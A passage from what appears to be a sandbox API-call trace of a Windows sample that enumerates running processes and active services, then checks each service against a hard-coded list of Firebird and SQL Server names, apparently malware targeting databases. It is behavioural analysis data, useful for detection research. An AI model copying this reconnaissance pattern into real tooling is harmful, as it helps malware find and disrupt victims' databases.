th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0295.716] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0295.716] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0295.717] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0295.717] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0295.718] lstrlenW (lpString="Memory Compression") returned 18 [0295.718] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.719] lstrlenW (lpString="svchost.exe") returned 11 [0295.719] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0295.720] lstrlenW (lpString="sihost.exe") returned 10 [0295.720] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0295.721] lstrlenW (lpString="taskhostw.exe") returned 13 [0295.721] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0295.722] lstrlenW (lpString="msoia.exe") returned 9 [0295.722] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0295.723] lstrlenW (lpString="explorer.exe") returned 12 [0295.723] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0295.724] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0295.724] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0295.725] lstrlenW (lpString="SearchUI.exe") returned 12 [0295.725] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0295.726] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0295.726] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0295.727] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0295.727] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0295.727] lstrlenW (lpString="chrome64b.exe") returned 13 [0295.728] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0296.165] lstrlenW (lpString="dllhost.exe") returned 11 [0296.165] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0296.166] lstrlenW (lpString="chrome64b.exe") returned 13 [0296.166] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0296.167] lstrlenW (lpString="cmd.exe") returned 7 [0296.167] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0296.168] lstrlenW (lpString="conhost.exe") returned 11 [0296.168] Process32NextW (in: hSnapshot=0x398, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0296.169] CloseHandle (hObject=0x398) returned 1 [0296.169] Sleep (dwMilliseconds=0x1f4) [0297.255] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x759e50 [0297.255] EnumServicesStatusExW (in: hSCManager=0x759e50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0297.256] GetLastError () returned 0xea [0297.256] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x4420898 [0297.256] EnumServicesStatusExW (in: hSCManager=0x759e50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4420898, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4420898, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0297.257] CloseServiceHandle (hSCObject=0x759e50) returned 1 [0297.258] lstrlenW (lpString="Appinfo") returned 7 [0297.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0297.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0297.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0297.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0297.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0297.258] lstrlenW (lpString="AppXSvc") returned 7 [0297.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0297.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0297.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0297.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0297.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0297.258] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0297.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0297.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0297.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0297.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0297.258] lstrlenW (lpString="Audiosrv") returned 8 [0297.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0297.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0297.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0297.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0297.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0297.259] lstrlenW (lpString="BFE") returned 3 [0297.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0297.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0297.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0297.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0297.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0297.259] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0297.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0297.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0297.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0297.259] lstrlenW (lpString="CDPSvc") returned 6 [0297.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0297.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0297.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0297.259] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0297.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0297.259] lstrlenW (lpString="ClickToRunSvc") returned 13 [0297.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0297.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0297.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0297.259] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0297.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.260] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0297.260] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0297.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0297.260] lstrlenW (lpString="CryptSvc") returned 8 [0297.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0297.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0297.260] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0297.260] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0297.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0297.260] lstrlenW (lpString="DcomLaunch") returned 10 [0297.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0297.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0297.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0297.260] lstrlenW (lpString="DeviceAssociationService") returned 24 [0297.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.260] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0297.260] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0297.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0297.260] lstrlenW (lpString="Dhcp") returned 4 [0297.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0297.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0297.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0297.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0297.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0297.261] lstrlenW (lpString="Dnscache") returned 8 [0297.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0297.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0297.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0297.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0297.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0297.261] lstrlenW (lpString="DPS") returned 3 [0297.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0297.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0297.261] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0297.261] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0297.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0297.261] lstrlenW (lpString="DusmSvc") returned 7 [0297.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0297.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0297.261] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0297.261] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0297.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0297.261] lstrlenW (lpString="EventLog") returned 8 [0297.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0297.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0297.261] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0297.261] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0297.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0297.261] lstrlenW (lpString="EventSystem") returned 11 [0297.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0297.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0297.261] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0297.262] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0297.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0297.262] lstrlenW (lpString="FontCache") returned 9 [0297.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0297.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0297.262] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0297.262] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0297.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0297.262] lstrlenW (lpString="gpsvc") returned 5 [0297.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0297.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0297.262] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0297.262] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0297.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0297.262] lstrlenW (lpString="iphlpsvc") returned 8 [0297.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.262] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0297.262] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0297.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0297.262] lstrlenW (lpString="KeyIso") returned 6 [0297.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0297.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0297.262] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0297.262] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0297.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0297.262] lstrlenW (lpString="LanmanServer") returned 12 [0297.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0297.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0297.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0297.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0297.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0297.263] lstrlenW (lpString="LanmanWorkstation") returned 17 [0297.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0297.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0297.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0297.263] lstrlenW (lpString="lfsvc") returned 5 [0297.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0297.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0297.263] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0297.263] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0297.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0297.263] lstrlenW (lpString="lmhosts") returned 7 [0297.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0297.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0297.263] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0297.263] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0297.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0297.263] lstrlenW (lpString="LSM") returned 3 [0297.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0297.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0297.263] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0297.263] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0297.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0297.264] lstrlenW (lpString="MpsSvc") returned 6 [0297.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0297.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0297.264] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0297.264] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0297.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0297.264] lstrlenW (lpString="NcbService") returned 10 [0297.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0297.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0297.264] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0297.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0297.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0297.264] lstrlenW (lpString="netprofm") returned 8 [0297.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0297.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0297.264] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0297.264] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0297.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0297.264] lstrlenW (lpString="NgcSvc") returned 6 [0297.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0297.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0297.264] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0297.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0297.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0297.264] lstrlenW (lpString="NlaSvc") returned 6 [0297.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0297.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0297.264] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0297.264] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0297.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0297.265] lstrlenW (lpString="nsi") returned 3 [0297.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0297.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0297.265] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0297.265] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0297.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0297.265] lstrlenW (lpString="PcaSvc") returned 6 [0297.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0297.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0297.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0297.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0297.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0297.265] lstrlenW (lpString="PlugPlay") returned 8 [0297.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0297.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0297.265] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0297.265] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0297.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0297.265] lstrlenW (lpString="Power") returned 5 [0297.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0297.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0297.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0297.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0297.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0297.265] lstrlenW (lpString="ProfSvc") returned 7 [0297.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0297.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0297.265] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0297.265] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0297.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0297.266] lstrlenW (lpString="RpcEptMapper") returned 12 [0297.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0297.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0297.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0297.266] lstrlenW (lpString="RpcSs") returned 5 [0297.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0297.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0297.266] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0297.266] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0297.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0297.266] lstrlenW (lpString="SamSs") returned 5 [0297.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0297.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0297.266] lstrcmpiW 